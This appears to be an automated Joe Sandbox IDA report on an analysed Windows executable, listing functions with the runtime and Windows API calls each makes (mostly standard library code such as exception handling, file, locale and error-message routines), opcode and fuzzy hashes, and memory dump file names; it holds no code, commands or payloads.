Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: eb4060bcbbf6947450414bc0ac192b8da1feec02df413969c5a674799d26ef14
Instruction ID: b2822f1bace57245d607e59872268c4960ecc3701c893c89d915474856f4c87b
Opcode Fuzzy Hash: eb4060bcbbf6947450414bc0ac192b8da1feec02df413969c5a674799d26ef14
Instruction Fuzzy Hash: C8318176608BC18AEB608F60E8547ED33A0FB84B48F48443ADA4D97B89DF3CD958C700

Function 00007FF6559576D8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF655957751
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF655957769
RtlVirtualUnwind.KERNEL32 ref: 00007FF6559577A4
IsDebuggerPresent.KERNEL32 ref: 00007FF6559577DD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6559577E7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6559577F2

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5940ef1d6d2c32beaf7af9e8e0892e721e3d30544378453b8f42f9f5775f8da8
Instruction ID: b4c87627b5ea08f98c5c55904dc6034f03a167b578a12f6fde73fea8650c05a9
Opcode Fuzzy Hash: 5940ef1d6d2c32beaf7af9e8e0892e721e3d30544378453b8f42f9f5775f8da8
Instruction Fuzzy Hash: 8831633A608BC185DB60CF25E8846EE73A4FB84B98F580135EA8D93B5ADF3CD955C700

Function 00007FF655921AA4 Relevance: 6.3, APIs: 4, Instructions: 285COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655921EA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655921EAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655921EB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655921EBB

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 206a0f393bd3dfe93c209e4185319300a1f109cb37c0a30460c8df3f59e3349e
Instruction ID: b1cf0f03243954faf7347cc5855fbc9da77c2892554d2a87468c1ee8944b8e6e
Opcode Fuzzy Hash: 206a0f393bd3dfe93c209e4185319300a1f109cb37c0a30460c8df3f59e3349e
Instruction Fuzzy Hash: 66B1D46AB14AC685EB109B65DC482ED2361FF85BC8F581231EA5DA3B9BDF3CD950C300

Function 00007FF65595FA94 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65595FAC4

Part of subcall function 00007FF655957934: GetCurrentProcess.KERNEL32(00007FF655960CCD), ref: 00007FF655957961

Strings

*?, xrefs: 00007FF65595FAEB
., xrefs: 00007FF65595FEE4

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction ID: 8bf8e3e30de6ff4b54f8ff861d994a3a7cad1273bd42eb4b1889d9c9e34333ca
Opcode Fuzzy Hash: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction Fuzzy Hash: ED51C2AAB15B9581EB10DFA194184B963A4FF48FE8B484531DE5DA7B86DF3CD8528300

Function 00007FF655962080 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF65596210B

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction ID: 48acab48538c02f17cc16373e0155e43005b1025a1b8b952cbc17a79477a46fa
Opcode Fuzzy Hash: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction Fuzzy Hash: B5D19236B183C687DB34CF55A18866AB791F798B88F188134DB4AA7B45DF3CEC458B40

Function 00007FF65592B6D8 Relevance: 4.5, APIs: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF65592BA9D), ref: 00007FF65592B6E5
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,00007FF65592BA9D), ref: 00007FF65592B719
LocalFree.KERNEL32(?,?,?,?,?,?,?,00007FF65592BA9D), ref: 00007FF65592B743

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: c27e05edbcf0c556cf9f4b9f4aa6354f64d9dc72ff0f252d3a2ededa039666af
Instruction ID: 4a2e0b16f3599e660e43bd02cdac6ea0c5852d95b40c0d3cbe2f53418526cef7
Opcode Fuzzy Hash: c27e05edbcf0c556cf9f4b9f4aa6354f64d9dc72ff0f252d3a2ededa039666af
Instruction Fuzzy Hash: 9601177960C78182D7109F52B8541BE63A5FB89FC5F4C4034DA8D97B46CF3CD9158740

Function 00007FF65595FCA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF65595FEE4

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 7c9d8364e7b62915daf92aecf888b4814fe01b6aae5fc02ec6e7aa2f3019df5b
Instruction ID: d499d07d1097564cc16894cf5794069b4fb90fabe82ba965286401bd74671c51
Opcode Fuzzy Hash: 7c9d8364e7b62915daf92aecf888b4814fe01b6aae5fc02ec6e7aa2f3019df5b
Instruction Fuzzy Hash: BF310866B186D145EB209B36E8087A96A91AF94FF8F188235DE5C97BC7CF3CD9158300

Function 00007FF655965AF8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF655965D45
RaiseException.KERNEL32 ref: 00007FF655965D56

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 131550a8e914c8a4384a7255cc8ec53066b4dff0b7ecc1394be8dfb6b4310eca
Instruction ID: 72f9f5d22e67437b9c7ae5438b91971e00319e938c83594cfc6952a10e569897
Opcode Fuzzy Hash: 131550a8e914c8a4384a7255cc8ec53066b4dff0b7ecc1394be8dfb6b4310eca
Instruction Fuzzy Hash: 33B15877601B898AEB19CF29C84A3683BA0F744F4CF598921DA5D937A9CF3DD855C700

Function 00007FF655948DF4 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6559485E0: GetDC.USER32 ref: 00007FF6559485EC
Part of subcall function 00007FF6559485E0: GetDeviceCaps.GDI32 ref: 00007FF6559485FD
Part of subcall function 00007FF6559485E0: ReleaseDC.USER32 ref: 00007FF65594860A

GetObjectW.GDI32 ref: 00007FF655948E48

Part of subcall function 00007FF6559490B0: GetDC.USER32 ref: 00007FF6559490D9
Part of subcall function 00007FF6559490B0: GetObjectW.GDI32 ref: 00007FF655949107
Part of subcall function 00007FF6559490B0: ReleaseDC.USER32 ref: 00007FF6559491BB

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID:
API String ID: 1061551593-0
Opcode ID: 68dbe16693602acb82a0a9c061fd0d735b77194d41f4ab9e90264308bb487059
Instruction ID: a55452bb5dbeb61e0d7f4c4c74a909f54c1f35b9cde28cee0270980067a320b6
Opcode Fuzzy Hash: 68dbe16693602acb82a0a9c061fd0d735b77194d41f4ab9e90264308bb487059
Instruction Fuzzy Hash: 5181093AB18B45C6EB108F6AD4546AD3771BB84F88F044122DE4DA7B25DF3CD949C780

Function 00007FF65594A2CC Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF65594A315
GetNumberFormatW.KERNEL32 ref: 00007FF65594A371

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: a0c8fcaef59427837b2a7c7753e3d717a8442860a15e47712294eddcbb527c28
Instruction ID: be8feb671d1ae02c355acc6bd41c5ab03ec0f96bdfe5ef6b6f8fba1b609f9d6a
Opcode Fuzzy Hash: a0c8fcaef59427837b2a7c7753e3d717a8442860a15e47712294eddcbb527c28
Instruction Fuzzy Hash: D9118C3AA18BC195E7618F21E4187EA7361FF88F88F884031DA4DA3656EF3CD949C744

Function 00007FF65593126C Relevance: 1.7, APIs: 1, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6559324C0: CreateFileW.KERNELBASE ref: 00007FF65593259B
Part of subcall function 00007FF6559324C0: GetLastError.KERNEL32 ref: 00007FF6559325AE
Part of subcall function 00007FF6559324C0: CreateFileW.KERNEL32 ref: 00007FF65593260E
Part of subcall function 00007FF6559324C0: GetLastError.KERNEL32 ref: 00007FF655932617

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559315D0

Part of subcall function 00007FF655933980: MoveFileW.KERNEL32 ref: 00007FF6559339BD
Part of subcall function 00007FF655933980: MoveFileW.KERNEL32 ref: 00007FF655933A34

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: File$CreateErrorLastMove$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 34527147-0
Opcode ID: e551f5cd72cc32021c0545c09a5d852fa8adbb9b535e4bd48ae0dc113e77b3ec
Instruction ID: 71d2c99c87110c2d3b811c7b265fdd66733b9074559395e6f74700c58acbc5b2
Opcode Fuzzy Hash: e551f5cd72cc32021c0545c09a5d852fa8adbb9b535e4bd48ae0dc113e77b3ec
Instruction Fuzzy Hash: 8F91B32AB18686C2EE10DB66D4482AD6361FB54FC8F495032EE4DA7BA6DF3CD945C340

Function 00007FF6559351A4 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF6559351D5

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 6220f8f0736b52f52a4f9f0684f7fcd1da0b773ba531a70ae5974f71c0de4052
Instruction ID: 5207ac2f02719a4a947fc2c7765e43c9b3811d5ff2a43a9e0b673e6d019cc541
Opcode Fuzzy Hash: 6220f8f0736b52f52a4f9f0684f7fcd1da0b773ba531a70ae5974f71c0de4052
Instruction Fuzzy Hash: 0C012D7AA18582C7F7248B00E84877A33A1FB98B19F580235D56DA2796DF3CF9048E00

Function 00007FF655958C1C Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF655958DD3

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 0fbd957179d89af9e1d3453d65279f22830f04fe064c784c04e338e6c7bf3646
Instruction ID: 0caa815ef3898140707f7b8f3da95eaf3b17eb6b88e7ed62b0aabb790c517b72
Opcode Fuzzy Hash: 0fbd957179d89af9e1d3453d65279f22830f04fe064c784c04e338e6c7bf3646
Instruction Fuzzy Hash: F181D529A182C246FBA89A1580486FD22E0EF51F4EF7C1531DD49E7697CF2DEC66C740

Function 00007FF6559589A0 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF655958B3A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: a261a21fa45f21d734edfefcd2ffe271b1157111beaf653bc061adca1a26389c
Instruction ID: 768ccfb68ac5a472c998f39574e0fd04d9bda73f5f9d80e494488409019a1405
Opcode Fuzzy Hash: a261a21fa45f21d734edfefcd2ffe271b1157111beaf653bc061adca1a26389c
Instruction Fuzzy Hash: 9971C36AA0C2C246FB688A2990482FD23949F41F4EF3C5935DD09F7697CF2DEC668741

Function 00007FF65593C96C Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

gj, xrefs: 00007FF65593C97B

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 226aa63bfce789330e15763d8953fb7d553c3450d9c1aa6f260de1088bdface5
Instruction ID: 908f9326704eb857fd870fed8d990342d81dd0ddf0491b77fcd7bd89bba678e0
Opcode Fuzzy Hash: 226aa63bfce789330e15763d8953fb7d553c3450d9c1aa6f260de1088bdface5
Instruction Fuzzy Hash: C95190377286908BD724CF25E404A9AB3A5F788798F455126EF8A93B09CB3DE945CF40

Function 00007FF65595C838 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF65595C874

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 49e7fa989fc271adaa8e130b28d1cae0d9f82f392019a5f874cdac11a507a941
Instruction ID: 08ebc47c82da1a3978036ac114bdf127b90c3dfe1fd92ba5c5e7215f1ff20403
Opcode Fuzzy Hash: 49e7fa989fc271adaa8e130b28d1cae0d9f82f392019a5f874cdac11a507a941
Instruction Fuzzy Hash: 2941DF37715B8486EA04CF2AE4682A973A1AB98FC8B4D9036DE0DD7756EF3CD845C340

Function 00007FF655960D20 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF655960D24

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 4ce929ddb23f73c0a8458b43b9ad49d4d7e2a2f746430c3d48bba7e89996d797
Instruction ID: cbd854c4c38b39a897815c0aabf03f96b30553c43b19618b2ef105e8abee6c8c
Opcode Fuzzy Hash: 4ce929ddb23f73c0a8458b43b9ad49d4d7e2a2f746430c3d48bba7e89996d797
Instruction Fuzzy Hash: 97B09228E17B87C2EA082B116C8A29422E4BF48B04F9C8038C10CE1321DF2C28A94701

Function 00007FF655943964 Relevance: .9, Instructions: 931COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f10b3c0000bd651423828cb986904098d4bd6c393877fd54d7a895255c38939a
Instruction ID: 9bc2119b1775fefd9fea3790b618ce6430186310f4e96d068f8ee4bab83717bd
Opcode Fuzzy Hash: f10b3c0000bd651423828cb986904098d4bd6c393877fd54d7a895255c38939a
Instruction Fuzzy Hash: 7482B1AAA096C186D715CE24D4482BC7BA1F755F8CF1D8136DAAE97386EF3C9C85C310

Function 00007FF6559276C0 Relevance: .9, Instructions: 893COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
